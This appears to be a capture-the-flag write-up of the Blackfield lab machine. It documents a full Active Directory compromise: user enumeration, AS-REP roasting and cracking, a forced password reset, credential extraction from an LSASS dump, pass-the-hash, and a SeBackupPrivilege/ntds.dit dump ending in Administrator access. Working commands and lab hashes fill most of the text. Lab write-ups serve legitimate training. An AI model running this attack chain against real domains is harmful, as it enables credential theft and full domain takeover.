Writeup: Blackfield

Felipe Valdivia

9 de enero de 2025

Índice

1. Introduction

Brief description of the machine, objectives, and techniques explored.

1.1. Port Scanning Script

The port scanning was performed using a custom `bash` script that automates the process of discovering and analyzing services. This script ensures a structured workflow to identify open ports and detail the associated services.

2. Reconnaissance

2.1. Port Scanning

To perform the initial reconnaissance, a script was used to automate port scanning. This script executed the following key commands:

- Initial scan of all ports (1-65535) to identify those that are open:

```
sudo nmap -p- --open -sS -vvv -n -Pn 10.10.10.192 -oN nmap_results/open_ports.txt
```

- Extraction of open ports from the generated file:

```
grep "/tcp" nmap_results/open_ports.txt | grep open | awk '{print $1}' | cut -d'/' -f1 | tr '\n' ','
```

- Detailed scan of services on the detected open ports:

```
nmap -sC -sV -p53,88,135,389,445,593,3268,5985 10.10.10.192 -oN nmap_results/service_scan.txt
```

The results of the initial and detailed scans revealed the following open ports and services:

Port	State	Service	Version
53/tcp	Open	domain	Simple DNS Plus
88/tcp	Open	kerberos-sec	Microsoft Windows Kerberos
135/tcp	Open	msrpc	Microsoft RPC
389/tcp	Open	ldap	Microsoft Windows Active Directory LDAP
445/tcp	Open	microsoft-ds	Microsoft SMB
593/tcp	Open	ncacn_http	Microsoft RPC over HTTP 1.0
3268/tcp	Open	ldap	Microsoft Windows Active Directory LDAP
5985/tcp	Open	http	Microsoft HTTPAPI httpd 2.0

Cuadro 1: Open ports and detected services.

2.2. Analysis of Detected Services

The scan identified several services relevant for exploitation:

- **53/tcp (DNS)**: Indicates a running DNS server. This could be useful for performing a zone transfer to gather domain information.

- **88/tcp (Kerberos)**: The presence of Kerberos suggests that the target is a Domain Controller (DC). This service can be exploited to obtain credentials through attacks such as Kerberoasting.
- **135/tcp (RPC)**: Exposes Microsoft RPC, an interface that allows remote process execution, a common vector for attacks.
- **389/tcp and 3268/tcp (LDAP)**: LDAP can be used to enumerate users and groups within the domain, aiding in initial information gathering.
- **445/tcp (SMB)**: SMB can be useful for enumerating shared resources and finding sensitive information.
- **5985/tcp (WinRM)**: This service allows remote command execution if valid credentials are available.

These services confirm that the target is a Windows environment with a configured Active Directory. The next steps include enumerating SMB and LDAP to gather more information about the domain structure.

3. Initial Exploitation

3.1. Enumeration of Shared Resources

To enumerate the shared resources available on the SMB service (port 445), the tools `crackmapexec` and `smbclient` were used. The executed commands and obtained results are presented below.

Executed Commands:

- General enumeration of the SMB service to gather system information:

```
crackmapexec smb 10.10.10.192
```

- Listing available shared resources without authentication:

```
smbclient -L //10.10.10.192 -N
```

- Exploring the `profiles$` share to list its content:

```
smbclient //10.10.10.192/profiles$ -N
```

Obtained Results:

1. The `crackmapexec` command revealed that the target system is running:
   - Operating System: Windows 10 / Server 2019 Build 17763 x64
   - Hostname: DC01
   - Domain: `BLACKFIELD.local`
   - SMB Signing: Enabled (True)
   - SMBv1: Disabled (False)

3.2. Enumeration of Shared Resources

The SMB share listing revealed the following shared resources:

Name	Type	Description
ADMIN$	Disk	Remote Admin
C$	Disk	Default share
forensic	Disk	Forensic / Audit share
IPC$	IPC	Remote IPC
NETLOGON	Disk	Logon server share
profiles$	Disk	Logon server share
SYSVOL	Disk	Logon server share

Cuadro 2: Detected shared resources on SMB.

Exploring the `profiles$` share, multiple directories corresponding to user names were identified. An example of the content is:

```
smb: \> ls
AAlleni       D        0  Wed Jun  3 18:47:12 2020
ABarteski     D        0  Wed Jun  3 18:47:12 2020
audit2020     D        0  Wed Jun  3 18:47:12 2020
svc_backup    D        0  Wed Jun  3 18:47:12 2020
...
5102079 blocks of size 4096. 1686621 blocks available
```

From this information, a dictionary of potential users was created by extracting the directory names. This dictionary will be used in later stages for credential enumeration and targeted attacks.

3.3. Modifying the `/etc/hosts` File

To perform additional enumerations on the `BLACKFIELD.local` domain, it was necessary to add the following line to the `/etc/hosts` file:

```
10.10.10.192    blackfield.local
```

This configuration allowed tools like `kerbrute` to correctly resolve the domain.

3.4. User Enumeration with `kerbrute`

Using the previously created user dictionary, `kerbrute` was executed to validate usernames on the domain controller. The command used was:

```
kerbrute userenum -dc 10.10.10.192 -d blackfield.local usuarios.txt
```

Results obtained:

- **Valid User:** `audit2020@blackfield.local`
- **Valid User:** `support@blackfield.local`
- **Valid User:** `svc_backup@blackfield.local`

These results confirm that the users extracted from the `profiles$` share are valid in the `BLACKFIELD.local` domain. In particular, the accounts `support` and `svc_backup` stand out as potential targets due to their names suggesting administrative or service privileges.

Analysis: The identified users will be used in subsequent stages to attempt authentication on exposed services such as SMB, LDAP, or WinRM. Additionally, the hash of the `support` account can be attacked offline to attempt password cracking.

3.5. AS-REP Roasting Enumeration

Leveraging the fact that some of the identified users do not have Kerberos pre-authentication enabled (flag `UF_DONT_REQUIRE_PREAUTH`), the `GetNPUsers.py` tool from the Impacket suite was used to request TGTs and obtain hashes that can be cracked offline. The command used was:

```
GetNPUsers.py blackfield.local/ -no-pass -usersfile valid_user.txt -dc-ip 10.10.10.192
```

Results obtained:

- **User** `audit2020@blackfield.local`**:** No hash was obtained since this user requires pre-authentication.
- **User** `support@blackfield.local`**:** The following AS-REP hash was obtained:

  `$krb5asrep$23$support@BLACKFIELD.LOCAL:48f4596388e8...`
- **User** `svc_backup@blackfield.local`**:** No hash was obtained since this user requires pre-authentication.

Analysis: The hash obtained from the `support@blackfield.local` user suggests that this account has a less strict security configuration and is a priority target for password cracking.

3.6. Cracking the AS-REP Hash

The hash extracted from the `support@blackfield.local` user was cracked using the `john` tool with the `rockyou.txt` dictionary. The command used was:

```
john --wordlist=/path/to/rockyou.txt hash
```

Cracking Result:

```
#00^BlackKnight ($krb5asrep$23$support@BLACKFIELD.LOCAL)
```

The password obtained was `#00^BlackKnight`.

Analysis: With this password, it is now possible to attempt authentication on the services exposed by the `BLACKFIELD.local` domain, such as SMB, WinRM, or LDAP, using the `support@blackfield.local` account. This marks a significant advancement in the exploitation process, as valid domain user access has been obtained.

3.7. Authentication on SMB with Obtained Credentials

Using the credentials for `support@blackfield.local` (`#00^BlackKnight`), authentication was attempted on the SMB service of the `BLACKFIELD.local` domain. The credentials were stored in a file named `credential.txt` with the following content:

```
support:#00^BlackKnight
```

The command used to test the credentials on SMB was:

```
crackmapexec smb 10.10.10.192 -u 'support' -p '#00^BlackKnight'
```

Results obtained:

- The system confirmed that the credentials are valid for the user `support@blackfield.local`.
- Target system details:
  - **Operating System:** Windows 10 / Server 2019 Build 17763 x64
  - **Hostname:** DC01
  - **Domain:** `BLACKFIELD.local`
  - **SMB Signing:** Enabled (True)
  - **SMBv1:** Disabled (False)

Analysis: Successful authentication with the obtained credentials marks an important milestone in the exploitation process. It is now possible to access shared resources on the SMB service as the `support` user. The next step will be to enumerate the available resources and search for sensitive information or additional services that can be exploited.

Additional Enumeration and Analysis:

3.8. Enumeration of Shared Resources

Despite successful authentication with the obtained credentials, attempting to list the available SMB resources using `smbclient` yielded the same previously enumerated shares. The command used was:

```
smbclient -L //10.10.10.192/ -U 'support%#00^BlackKnight'
```

Results:

```
Sharename       Type      Comment
ADMIN$          Disk      Remote Admin
C$              Disk      Default share
forensic        Disk      Forensic / Audit share
IPC$            IPC       Remote IPC
NETLOGON        Disk      Logon server share
profiles$       Disk      Logon server share
SYSVOL          Disk      Logon server share
```

However, it was not possible to connect to some resources due to errors related to `SMBv1` being disabled.

3.9. Dumping LDAP Information

Using the obtained credentials, `ldapdomaindump` was used to perform a complete dump of the `BLACKFIELD.local` domain information. This dump included information about groups, users, and policies. The command used was:

```
ldapdomaindump -u 'blackfield.local\support' -p '#00^BlackKnight' 10.10.10.192
```

Dump Results: Multiple JSON, HTML, and GREP files were generated containing detailed information about:

- Computers in the domain (`domain_computers.json`).
- User groups (`domain_groups.json`).
- Domain policies (`domain_policy.json`).
- Trust relationships between domains (`domain_trusts.json`).
- Users and their groups (`domain_users.json`).

These files provide a detailed view of the domain environment, which will be essential for planning the next steps in the exploitation process.

3.10. Setting Up a Web Server for Visualization

To facilitate the visualization of the generated HTML files, a web server was configured using Apache. The following commands were executed:

```
sudo service apache2 start
sudo lsof -i :80
```

Results: The Apache server started successfully, and the files generated by `ldapdomaindump` were placed in the server's root directory for analysis.

Analysis: With the LDAP dump, critical information about the domain structure was obtained, including users, groups, and trust relationships. This information will be used to identify high-privilege accounts or weak configurations that enable lateral movement or privilege escalation within the domain.

3.11. Domain Information Analysis

Using the data extracted with `ldapdomaindump`, users, groups, and associated privileges in the `BLACKFIELD.local` domain were analyzed. This information was accessible through the generated HTML files, viewed via the previously configured web server.

Identified Administrative Groups: The analysis of the `domain_users_by_group.html` file revealed the following key administrative groups:

- **Domain Admins:** Contains the `Administrator` account, which holds elevated privileges across the domain.
- **Enterprise Admins:** Similar to the previous group, includes accounts with control over the entire domain infrastructure.

- **Schema Admins:** Manages the structure of the Active Directory schema.
- **Administrators:** Includes accounts with local privileges on servers and workstations.

Identified Relevant Users: Among the highlighted users were:

- `Administrator`: A user with full control over the domain.
- `svc_backup`: A member of the `Remote Management Users` and `Backup Operators` groups, making it a potential target for privilege escalation due to its association with backup and remote management tasks.
- `support`: A previously validated user with domain access and limited privileges.

Details of User `svc_backup`: The `svc_backup` user has the following attributes:

- **Flags:** `NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD`
- **Last Password Set:** 23/02/20 17:54:48
- **Last Login:** 23/02/20 18:03:50
- **Description:** Account used for domain backups.

Analysis: The obtained information suggests that the `svc_backup` user could be exploited to access sensitive resources or escalate privileges. Being a member of `Backup Operators` and `Remote Management Users`, it is likely to have access to tools or data that could be leveraged to compromise the domain. This will be the next focus in subsequent exploitation stages.

3.12. Extracting Additional Information with `BloodHound`

To deepen the analysis of the `BLACKFIELD.local` domain, the `BloodHound` tool was used. This tool maps privilege relationships and controls in an Active Directory environment, identifying potential paths for privilege escalation.

3.13. Accessing and Modifying User Credentials

After identifying the `audit2020` user and its association with the domain, an attempt was made to access SMB resources using their account with the command:

```
smbclient -L //10.10.10.192 -U 'audit2020'
```

However, access was not possible with the user's current credentials due to SMB configuration restrictions.

Changing User Password To bypass this restriction, using the `support` account, the password for `audit2020` was changed with the following command:

```
net rpc password audit2020 -U 'support' -S 10.10.10.192
```

A new password, `123456Pa`, was set, allowing renewed access to the domain's resources.

Results Obtained: With the modified password, SMB resources associated with the `audit2020` user were listed. One of the most relevant resources was the `forensic` directory, which likely contains critical information for the next stages of exploitation.

Step 2: Information Analysis The generated files were loaded into the `BloodHound` graphical interface. Through this tool, the following important findings were identified:

- The `support@blackfield.local` user has a control relationship over the `audit2020@blackf` user via the `ForceChangePassword` attribute. This indicates that `support` can force a password change for this user.
- No direct administrative privileges were found associated with the `support` user, but the discovered relationships can be leveraged to access additional resources in the domain.

Analysis: The most significant finding is the `ForceChangePassword` relationship between `support` and `audit2020`. This represents a potential path for privilege escalation, as it allows the `support` user to modify `audit2020`'s credentials and assume their identity. This will be the next step in the exploitation process.

Step 3: Exploring Escalation Potential Using the information obtained from `BloodHound`, an attempt will be made to change the `audit2020` user's password and subsequently utilize their account to access additional resources in the domain. The process will be documented in the following sections.

Accessing and Analyzing SMB Resources With the modified password for the `audit2020` user, an attempt was made to list and access shared SMB resources. The command used was:

```
smbclient -L //10.10.10.192 -U 'audit2020'
```

The following shared resources were identified as available for the user `audit2020`:

- **ADMIN$**: Remote Admin
- **C$**: Default share
- **forensic**: Forensic / Audit share
- **IPC$**: Remote IPC
- **NETLOGON**: Logon server share
- **profiles$**: Logon server share
- **SYSVOL**: Logon server share

3.13.1. Accessing the `forensic` Directory

To explore the content of the `forensic` resource, the following command was used:

```
smbclient //10.10.10.192/forensic -U 'audit2020' -c 'ls'
```

The listing revealed several interesting directories:

- `commands_output`
- `memory_analysis`
- `tools`

3.14. Downloading and Analyzing `lsass.zip`

3.14.1. Downloading the File

After identifying `lsass.zip` as a potentially critical file in the `memory_analysis` directory, it was downloaded using the following command:

```
smbget smb://10.10.10.192/forensic/memory_analysis/lsass.zip -U 'audit2020%
```

The `lsass.zip` file was successfully downloaded with a size of 39.99MB.

3.14.2. Extracting the Content of `lsass.zip`

The downloaded file was extracted to obtain its content. The command used was:

```
unzip lsass.zip
```

The result was a file named `lsass.DMP`, corresponding to a memory dump of the `lsass.exe` process. This type of file is known to contain credentials stored in memory, which could be used to compromise additional accounts in the domain.

3.14.3. Analyzing the Memory Dump

The `lsass.DMP` file was analyzed using specialized tools to extract credentials stored in process memory. The steps for analysis are detailed below:

a) **Using `pypykatz`**:

```
pypykatz lsa minidump lsass.DMP
```

This tool allows the extraction of credentials stored in the `lsass.DMP` dump, including NTLM hashes, plaintext passwords, and other critical data.

b) **Using `mimikatz`**: Alternatively, `mimikatz` can be used to analyze the `lsass.DMP` file and obtain additional credentials:

```
mimikatz.exe "sekurlsa::minidump lsass.DMP" "sekurlsa::logonPassword
```

3.14.4. Results and Next Steps

- The `lsass.DMP` file contains sensitive information that will be used to further exploit the `BLACKFIELD.local` domain.
- The memory dump analysis aims to obtain administrative credentials or other relevant data to access additional resources or escalate privileges.

- The next steps include:
  - Completing the analysis of `lsass.DMP` with the mentioned tools.
  - Identifying and validating the obtained credentials by testing access on domain services.

This stage marks a significant advancement in the exploitation process, reinforcing the value of access to the `audit2020` user and their permissions over the `forensic` resource.

3.15. Extracting the NT Hash of the `svc_backup` User

The `lsass.DMP` file, obtained from the `memory_analysis` directory in the `forensic` share, was analyzed to extract NT hashes of users. The file was downloaded using the command:

```
smbget smb://10.10.10.192/forensic/memory_analysis/lsass.zip –U 'audit2020%123456Pa
unzip lsass.zip
```

The analysis of the `lsass.DMP` file revealed the NT hash of the `svc_backup` user, a member of the `Remote Management Users` group. The extracted hash is detailed below:

```
User: svc_backup
NT Hash: 9658d1d1dcd9250115e2205d9f48400d
```

3.16. Validating the NT Hash of the `svc_backup` User

With the NT hash extracted from the `lsass.DMP` file, authentication was tested against the domain controller using the `Pass-the-Hash` technique. The `crackmapexec` tool was used, executing the following command:

```
sudo crackmapexec smb 10.10.10.192 –u 'svc_backup' –H '9658d1d1dcd9250115e2205d9f48
```

Results Obtained:

- The system confirmed that the credentials based on the NT hash of the `svc_backup` user are valid.
- Target system details:
  - **Operating System:** Windows 10 / Server 2019 Build 17763 x64.
  - **Hostname:** DC01.
  - **Domain:** `BLACKFIELD.local`.
  - **SMB Signing:** Enabled (`True`).
  - **SMBv1:** Disabled (`False`).

Analysis: Successful authentication with the NT hash of the `svc_backup` user marks a significant milestone in the exploitation process. This validates the ability of this user to interact with domain resources, opening new possibilities for privilege escalation or accessing sensitive information. The next step will be to investigate the permissions and accesses associated with this user in the domain.

4. Privilege Escalation

4.1. Exploration of Users and Files

Once a remote shell was obtained as the `svc_backup` user, the user's associated privileges were enumerated to identify potential paths for privilege escalation. Using the command `whoami /priv`, the enabled privileges for the user were identified.

Privileges of User `svc_backup`:

```
PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                          State
============================= ==================================== ========
SeMachineAccountPrivilege     Add workstations to domain           Enabled
SeBackupPrivilege             Back up files and directories        Enabled
SeRestorePrivilege            Restore files and directories        Enabled
SeShutdownPrivilege           Shut down the system                 Enabled
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set       Enabled
```

Privilege Analysis:

- **SeBackupPrivilege:** This privilege allows creating backups of files and directories regardless of their permissions. This is a potential privilege escalation vector, as it could be used to access protected files like `NTDS.dit` or the `SAM` registry file.
- **SeRestorePrivilege:** Together with `SeBackupPrivilege`, this privilege allows restoring files, facilitating manipulation of critical system files.
- **SeMachineAccountPrivilege:** Although less relevant at this stage, this privilege permits adding machines to the domain, which could be useful for lateral escalation scenarios.

Next Steps: Given that the `SeBackupPrivilege` privilege is enabled, the next step is to attempt to use it to access protected files and explore potential paths for privilege escalation. This strategy includes extracting sensitive files and analyzing them outside the compromised machine.

4.2. Creating Shadow Copies with DiskShadow

To access sensitive data, the `DiskShadow` tool was used on the remote system, leveraging previously established configurations.

Step 2: Executing DiskShadow Using the configurations in the previously uploaded `test.txt` file, the following command was executed to configure the `DiskShadow` environment and create a shadow copy of the `C:` volume:

```
diskshadow.exe /s C:\Temp\test.txt
```

Result:

- An alias `zharaman` was created for the shadow copy with ID {`2d09902c-77f1-4ef2-aa47-be7`
- The shadow copy volume was configured with the following properties:
  - **Original Volume Name:** `Volume{6cd5140b-0000-0000-0000-602200000000}`
  - **Source Machine:** `DC01.BLACKFIELD.local`
  - **Attributes:** `No_Auto_Release, Persistent, No_Writers, Differential`
- The shadow copy was successfully exposed as the `Z:` drive.

Analysis: Exposing the `C:` volume as `Z:` allows unrestricted access to system-protected data, enabling the extraction of sensitive files such as `NTDS.dit` or system folders. This step marks a significant advancement in the privilege escalation process.

Next Steps: The content of the exposed volume will be explored to identify key files and extract them for forensic analysis or further exploitation.

4.3. Extracting Domain Account Hashes

With appropriate privileges, domain account hashes, including the administrator's, were extracted using the following techniques:

Step 1: Exploring the Exposed Volume After exposing the volume using `diskshadow`, navigation to the relevant directory was performed using the commands:

```
PS Z:\> dir Z:\Windows\NTDS
```

This allowed identifying the `ntds.dit` file, which contains the domain databases, as well as the necessary log files for extracting information.

Step 2: Copying the `ntds.dit` File Using the `robocopy` command, the `ntds.dit` file was copied to the temporary directory for further analysis:

```
PS C:\Temp> robocopy /b Z:\Windows\NTDS\ntds.dit C:\Temp
```

The command ensures the backup mode (`/b`) is used, preserving necessary permissions for handling this file.

Step 3: Extracting Hashes Finally, the `impacket-secretsdump` tool was used to extract domain account hashes. The executed command was:

```
impacket-secretsdump -system system -ntds ntds.dit LOCAL
```

Results Obtained: Among the extracted hashes, the following stand out:

- **Administrator:** `aad3b435b51404eeaad3b435b51404ee:184fb5e5178480be64824d4cd53b9`
- **User** `support`**:** `cead107bf11ebc28b3e6e90cd6e6d212`

- **User** `audit2020`: `600a406c2c1f2062ebb9b227bad654aa`

Analysis: The administrator's hash represents the primary target, as it provides complete domain access. This hash can be used in tools such as `psexec`, `wmiexec`, or `evil-winrm` to access the system with administrative privileges. The next step will be to establish a connection using these credentials.

4.4. Accessing the Domain Controller

Using the hashes of the `Administrator` user credentials obtained in the previous section, a remote connection to the Domain Controller was established using the `Evil-WinRM` tool. This access provides full control over the domain and all its resources.

Step: Establishing Connection The command used to connect to the Domain Controller was:

```
evil-winrm -i 10.10.10.192 -u 'Administrator' -H '184fb5e5178480be64824d4cd53b99e
```

Results Obtained: The connection was successfully established, as shown in the command output:

```
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
blackfield\administrator
```

The `Administrator` user now has full access to the Domain Controller system, enabling any necessary administrative actions.

Analysis: This access marks the culmination of the exploitation process, granting total control over the `BLACKFIELD.local` domain. This allows for actions such as:

- Creating or deleting users.
- Modifying Group Policies (GPOs).
- Extracting sensitive data.
- Configuring persistence to maintain access.

.